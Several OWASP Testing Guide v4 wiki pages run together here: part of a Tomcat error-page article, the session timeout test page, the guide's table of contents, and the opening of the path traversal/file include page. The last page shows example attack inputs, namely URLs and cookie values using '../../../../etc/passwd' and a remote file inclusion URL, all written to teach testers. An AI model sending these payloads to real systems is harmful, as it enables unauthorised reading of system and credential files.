Tomcat is a HTTP server to host JSP and Java Servlet applications. By default, Tomcat shows the server version in the HTTP error responses.

Customization of the error responses can be configured in the configuration file web.xml.

<pre>
<error-page>
<error-code>404</error-code>
<location>/myerrorpagefor404.html</location>
</error-page>
</pre>

== Tools ==
* [1] ErrorMint - http://sourceforge.net/projects/errormint/ <br>
* [2] ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project <br>

== References ==

* [1] [[http://www.ietf.org/rfc/rfc2616.txt?number=2616 RFC2616]] Hypertext Transfer Protocol -- HTTP/1.1
* [2] [[http://httpd.apache.org/docs/2.2/mod/core.html#errordocument ErrorDocument]] Apache ErrorDocument Directive
* [3] [[http://httpd.apache.org/docs/2.2/mod/core.html#allowoverride AllowOverride]] Apache AllowOverride Directive
* [4] [[http://httpd.apache.org/docs/2.2/mod/core.html#servertokens ServerTokens]] Apache ServerTokens Directive
* [5] [[http://httpd.apache.org/docs/2.2/mod/core.html#serversignature ServerSignature]] Apache ServerSignature Directive

[[Category:OWASP .NET Project]]

Test Session Timeout (OTG-SESS-007)

2014-08-08T12:47:29Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
In this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.

All applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. The most appropriate timeout should be a balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not enforce a timeout-based log out should be considered not secure, unless such behavior is required by a specific functional requirement.

The idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user, and under certain circumstances could protect public computers from session reuse. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time.

Session timeout management and expiration must be enforced server-side. If some data under the control of the client is used to enforce the session timeout, for example using cookie values or other client parameters to track time references (e.g. number of minutes since log in time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time on the server side and, after the timeout is expired, automatically invalidate the current user's session and delete every data stored on the client.

Both actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced at the server side to prevent the reuse of session tokens. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as 'cookie replay'). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim's PC), but, in a variety of cases, this may not be impossible or particularly difficult.

The most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not implemented on the application, then an attacker could access to the same account by simply pressing the “back” button of the browser.

==How to Test==

=== Black Box testing ===
The same approach seen in the [[Testing for logout functionality (OTG-SESS-006)]] section can be applied when measuring the timeout log out.
<br>

The testing methodology is very similar. First, testers have to check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. As in the log out function, after the timeout has passed, all session tokens should be destroyed or be unusable.

Then, if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it's possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it's not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged.

As a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again.
<br>

=== Gray Box Testing ===
<br>
The tester needs to check that:
* The log out function effectively destroys all session token, or at least renders them unusable,
* The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers
* A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering.

Note that the most important thing is for the application to invalidate the session on the server side. Generally this means that the code must invoke the appropriate methods, e.g. HttpSession.invalidate() in Java and Session.abandon() in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.

== References ==
'''OWASP Resources'''
* [[Session Management Cheat Sheet]]

OWASP Testing Guide v4 Table of Contents

2014-08-08T12:45:30Z

Andrew Muller:

{{OWASP Breakers}}
__NOTOC__

'''This is the FINAL table of content of the New Testing Guide v4.'''<br>
<br>At the moment the project is in the REVIEW phase. <br>You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] <br>

Back to the OWASP Testing Guide Project:
http://www.owasp.org/index.php/OWASP_Testing_Project

'''Updated: 1st April 2014'''

[[ OWTGv4 Contributors list|'''Contributors List]]

----

== Table of Contents ==

==[[Testing Guide Foreword|Foreword by Eoin Keary]]==

==[[Testing Guide Frontispiece |1. Frontispiece]]==

'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]'''

'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]'''

==[[Testing Guide Introduction|2. Introduction]]==

'''2.1 The OWASP Testing Project'''

'''2.2 Principles of Testing'''

'''2.3 Testing Techniques Explained'''

'''2.4 Deriving Security Test Requirements'''

'''2.5 Security Tests Integrated in Development and Testing Workflows'''

'''2.6 Security Test Data Analysis and Reporting'''

==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==

'''3.1. Overview'''

'''3.2. Phase 1: Before Development Begins '''

'''3.3. Phase 2: During Definition and Design'''

'''3.4. Phase 3: During Development'''

'''3.5. Phase 4: During Deployment'''

'''3.6. Phase 5: Maintenance and Operations'''

'''3.7. A Typical SDLC Testing Workflow '''

==[[Web Application Penetration Testing |4. Web Application Security Testing ]]==

[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']]

[[Testing Checklist| 4.1.1 Testing Checklist]]

[[Testing Information Gathering|'''4.2 Information Gathering ''']]

[[Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001) |4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]]

[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]]

[[Review_Webserver_Metafiles_for_Information_Leakage_(OTG-INFO-003) |4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]]

[[Enumerate Applications on Webserver (OTG-INFO-004) |4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]]

[[Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005) |4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]]

[[Identify_application_entry_points_(OTG-INFO-006) |4.2.6 Identify application entry points (OTG-INFO-006) ]]

[[Map_execution_paths_through_application_(OTG-INFO-007) |4.2.7 Map execution paths through application (OTG-INFO-007)]]

[[Fingerprint_Web_Application_Framework_(OTG-INFO-008) |4.2.8 Fingerprint Web Application Framework (OTG-INFO-008) ]]

[[Fingerprint_Web_Application_(OTG-INFO-009) |4.2.9 Fingerprint Web Application (OTG-INFO-009) ]]

[[Map_Application_Architecture_(OTG-INFO-010) |4.2.10 Map Application Architecture (OTG-INFO-010) ]]

[[Testing for configuration management|'''4.3 Configuration and Deployment Management Testing ''']]

[[Test Network/Infrastructure Configuration (OTG-CONFIG-001)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]]

[[Test Application Platform Configuration (OTG-CONFIG-002)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]]

[[Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]]

[[Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]]

[[Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]]

[[Test HTTP Methods (OTG-CONFIG-006)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]]

[[Test HTTP Strict Transport Security (OTG-CONFIG-007)|4.3.7 Test HTTP Strict Transport Security (OTG-CONFIG-007) ]]

[[Test RIA cross domain policy (OTG-CONFIG-008)|4.3.8 Test RIA cross domain policy (OTG-CONFIG-008) ]]

[[Testing Identity Management|'''4.4 Identity Management Testing''']]

[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]]

[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]]

[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]]

[[Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]]

[[Testing for Weak or unenforced username policy (OTG-IDENT-005)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]]

[[Testing for authentication|'''4.5 Authentication Testing ''']]

[[Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]]

[[Testing for default credentials (OTG-AUTHN-002)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]]

[[Testing for Weak lock out mechanism (OTG-AUTHN-003)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]]

[[Testing for Bypassing Authentication Schema (OTG-AUTHN-004)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]]

[[Testing for Vulnerable Remember Password (OTG-AUTHN-005)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]]

[[Testing for Browser cache weakness (OTG-AUTHN-006)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]]

[[Testing for Weak password policy (OTG-AUTHN-007)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]]

[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]]

[[Testing for weak password change or reset functionalities (OTG-AUTHN-009)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]]

[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]]

[[Testing for Authorization|'''4.6 Authorization Testing''']]

[[Testing_Directory_traversal/file_include_(OTG-AUTHZ-001) |4.6.1 Testing Directory traversal/file include (OTG-AUTHZ-001)]]

[[Testing for Bypassing Authorization Schema (OTG-AUTHZ-002)|4.6.2 Testing for bypassing authorization schema (OTG-AUTHZ-002)]]

[[Testing for Privilege escalation (OTG-AUTHZ-003)|4.6.3 Testing for Privilege Escalation (OTG-AUTHZ-003)]]

[[Testing for Insecure Direct Object References (OTG-AUTHZ-004)|4.6.4 Testing for Insecure Direct Object References (OTG-AUTHZ-004)]]

[[Testing for Session Management|'''4.7 Session Management Testing''']]

[[Testing for Session_Management_Schema (OTG-SESS-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]]

[[Testing for cookies attributes (OTG-SESS-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]]

[[Testing for Session Fixation (OTG-SESS-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]]

[[Testing for Exposed Session Variables (OTG-SESS-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]]

[[Testing for CSRF (OTG-SESS-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]]

[[Testing for logout functionality (OTG-SESS-006)|4.7.6 Testing for logout functionality (OTG-SESS-006)]]

[[Test Session Timeout (OTG-SESS-007)|4.7.7 Test Session Timeout (OTG-SESS-007)]]

[[Testing for Session puzzling (OTG-SESS-008)|4.7.8 Testing for Session puzzling (OTG-SESS-008)]]

[[Testing for Input Validation|'''4.8 Input Validation Testing''']]

[[Testing for Reflected Cross site scripting (OTG-INPVAL-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]]

[[Testing for Stored Cross site scripting (OTG-INPVAL-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]]

[[Testing for HTTP Verb Tampering (OTG-INPVAL-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]]

[[Testing for HTTP Parameter pollution (OTG-INPVAL-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]]

[[Testing for SQL Injection (OTG-INPVAL-005)| 4.8.5 Testing for SQL Injection (OTG-INPVAL-005)]]

[[Testing for Oracle|4.8.5.1 Oracle Testing]]

[[Testing for MySQL|4.8.5.2 MySQL Testing]]

[[Testing for SQL Server|4.8.5.3 SQL Server Testing]]

[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.5.4 Testing PostgreSQL (from OWASP BSP) ]]

[[Testing for MS Access |4.8.5.5 MS Access Testing]]

[[Testing for NoSQL injection|4.8.5.6 Testing for NoSQL injection]]

[[Testing for LDAP Injection (OTG-INPVAL-006)|4.8.6 Testing for LDAP Injection (OTG-INPVAL-006)]]

[[Testing for ORM Injection (OTG-INPVAL-007)|4.8.7 Testing for ORM Injection (OTG-INPVAL-007)]]

[[Testing for XML Injection (OTG-INPVAL-008)|4.8.8 Testing for XML Injection (OTG-INPVAL-008)]]

[[Testing for SSI Injection (OTG-INPVAL-009)|4.8.9 Testing for SSI Injection (OTG-INPVAL-009)]]

[[Testing for XPath Injection (OTG-INPVAL-010)|4.8.10 Testing for XPath Injection (OTG-INPVAL-010)]]

[[Testing for IMAP/SMTP Injection (OTG-INPVAL-011)|4.8.11 IMAP/SMTP Injection (OTG-INPVAL-011)]]

[[Testing for Code Injection (OTG-INPVAL-012)|4.8.12 Testing for Code Injection (OTG-INPVAL-012)]]

[[Testing for Local File Inclusion|4.8.12.1 Testing for Local File Inclusion]]

[[Testing for Remote File Inclusion|4.8.12.2 Testing for Remote File Inclusion]]

[[Testing for Command Injection (OTG-INPVAL-013)|4.8.13 Testing for Command Injection (OTG-INPVAL-013)]]

[[Testing for Buffer Overflow (OTG-INPVAL-014)|4.8.14 Testing for Buffer overflow (OTG-INPVAL-014)]]

[[Testing for Heap Overflow|4.8.14.1 Testing for Heap overflow]]

[[Testing for Stack Overflow|4.8.14.2 Testing for Stack overflow]]

[[Testing for Format String|4.8.14.3 Testing for Format string]]

[[Testing for Incubated Vulnerability (OTG-INPVAL-015)|4.8.15 Testing for incubated vulnerabilities (OTG-INPVAL-015)]]

[[Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)|4.8.16 Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016) ]]

[[Testing for Error Handling|'''4.9 Testing for Error Handling''']]

[[Testing for Error Code (OTG-ERR-001)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]]

[[Testing for Stack Traces (OTG-ERR-002)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]]

[[Testing for weak Cryptography|'''4.10 Testing for weak Cryptography''']]

[[Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)| 4.10.1 Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)]]

[[Testing for Padding Oracle (OTG-CRYPST-002)| 4.10.2 Testing for Padding Oracle (OTG-CRYPST-002)]]

[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|4.10.3 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)]]

[[Testing for business logic|'''4.11 Business Logic Testing''']]

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.11.1 Test Business Logic Data Validation (OTG-BUSLOGIC-001)]]

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.11.2 Test Ability to Forge Requests (OTG-BUSLOGIC-002)]]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.11.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]

[[Test for Process Timing (OTG-BUSLOGIC-004)|4.11.4 Test for Process Timing (OTG-BUSLOGIC-004)]]

[[Test number of times a function can be used limits (OTG-BUSLOGIC-005)|4.11.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]]

[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)|4.11.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]]

[[Test defenses against application mis-use (OTG-BUSLOGIC-007)|4.11.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]]

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)|4.11.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

[[Test Upload of Malicious Files (OTG-BUSLOGIC-009)|4.11.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]]

[[Client Side Testing|'''4.12 Client Side Testing''']]<br>

[[Testing for DOM-based Cross site scripting (OTG-CLIENT-001)|4.12.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]]

[[Testing for JavaScript Execution (OTG-CLIENT-002)|4.12.2 Testing for JavaScript Execution (OTG-CLIENT-002)]]

[[Testing for HTML Injection (OTG-CLIENT-003)|4.12.3 Testing for HTML Injection (OTG-CLIENT-003)]]

[[Testing for Client Side URL Redirect (OTG-CLIENT-004)|4.12.4 Testing for Client Side URL Redirect (OTG-CLIENT-004)]]

[[Testing_for_CSS_Injection (OTG-CLIENT-005)|4.12.5 Testing for CSS Injection (OTG-CLIENT-005)]]

[[Testing_for_Client_Side_Resource_Manipulation (OTG-CLIENT-006)|4.12.6 Testing for Client Side Resource Manipulation (OTG-CLIENT-006)]]

[[Test Cross Origin Resource Sharing (OTG-CLIENT-007)|4.12.7 Test Cross Origin Resource Sharing (OTG-CLIENT-007)]]

[[Testing for Cross site flashing (OTG-CLIENT-008)|4.12.8 Testing for Cross Site Flashing (OTG-CLIENT-008)]]

[[Testing for Clickjacking (OTG-CLIENT-009)|4.12.9 Testing for Clickjacking (OTG-CLIENT-009)]]

[[Testing WebSockets (OTG-CLIENT-010)|4.12.10 Testing WebSockets (OTG-CLIENT-010)]]

[[Test Web Messaging (OTG-CLIENT-011)|4.12.11 Test Web Messaging (OTG-CLIENT-011)]]

[[Test Local Storage (OTG-CLIENT-012)|4.12.12 Test Local Storage (OTG-CLIENT-012)]]

==[[Reporting |5. Reporting]]==

==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==

* Black Box Testing Tools

==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==

* Whitepapers
* Books
* Useful Websites

==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==

* Fuzz Categories

==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==

* Input Encoding
* Output Encoding

----

ARTICLES DELETED:

INFO GATHERING:

CONFIGURATION AND DEPLOY MANAGEMENT TESTING:

[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"

[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"

[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]

[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new

IDENTITY MANAGEMENT TESTING:

[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New

[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New

AUTHORIZATION TESTING:

[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New

[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"

[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)

[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)

[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"

SESSION MANAGEMENT TESTING:

[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]

[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]

DATA VALIDATION TESTING:

[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"

CRYPTOGRAPHY:

[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1 Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly "Testing for Insecure encryption usage (OWASP-EN-001)"

[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]

[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]

[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]

[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]

BUSINESS LOGIC:

XXXX[[Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)|4.12.3 Testing for Forged Requests Using Predictive Parameters (OTG-BUSLOGIC-003)]] [New!]- [Combine with Test Ability to forge requests as an example]

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates)

DENIAL OF SERVICE

[[Denial of Service|'''4.13 Denial of Service''']]

[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better<br>

[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]

[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)"

[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)]] [New!]- [Moved from Business Logic, formerly OTG-BUSLOGIC-006]

[[Test size of request limits (OTG-BUSLOGIC-006)|4.13.5 Test size of request limits (OTG-DOS-005)]] [New!] - [Moved from Business Logic, formerly OTG-BUSLOGIC-008]

WEB SERVICES TESTING

[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston]

[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"

[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"

[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"

[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"

[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"

[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"

[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"

[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"

[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"

[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"

[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test

[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"

[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]

[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New

[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New

[[Category:OWASP Testing Project]]

Testing Directory traversal/file include (OTG-AUTHZ-001)

2014-08-08T12:44:55Z

Andrew Muller: Andrew Muller moved page Testing for Path Traversal (OTG-AUTHZ-001) to Testing Directory traversal/file include (OTG-AUTHZ-001)

{{Template:OWASP Testing Guide v4}}

== Summary ==
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.

Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root", which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.

The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands.

Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.

In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.

For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.

This kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking.

During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:
* ('''a''') '''Input Vectors Enumeration''' (a systematic evaluation of each input vector)
* ('''b''') '''Testing Techniques''' (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)
<br>

==How to Test==
=== Black Box testing ===
====Input Vectors Enumeration====
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.

Here are some examples of the checks to be performed at this stage:

* Are there request parameters which could be used for file-related operations?
* Are there unusual file extensions?
* Are there interesting variable names?

<pre>
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm
</pre>

* Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?

<pre>
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
</pre>
<br>

====Testing Techniques====

The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called ''getUserProfile.jsp'' loads static information from a file and shows the content to users. An attacker could insert the malicious string "''../../../../etc/passwd''" to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.

To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.

<pre>
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
</pre>

For the cookies example:
<pre>
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
</pre>

It's also possible to include files and scripts located on external website.
<pre>
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
</pre>

The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.

<pre>
http://example.com/main.cgi?home=main.cgi
</pre>

The component called "''main.cgi''" is located in the same directory as the normal HTML static files used by the application.
In some cases the tester needs to encode the requests using special characters (like the "'''.'''" dot, "'''%00'''" null, ...) in order to bypass file extension controls or to prevent script execution.

<b>Tip</b>
It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn't successful, try another encoding scheme.

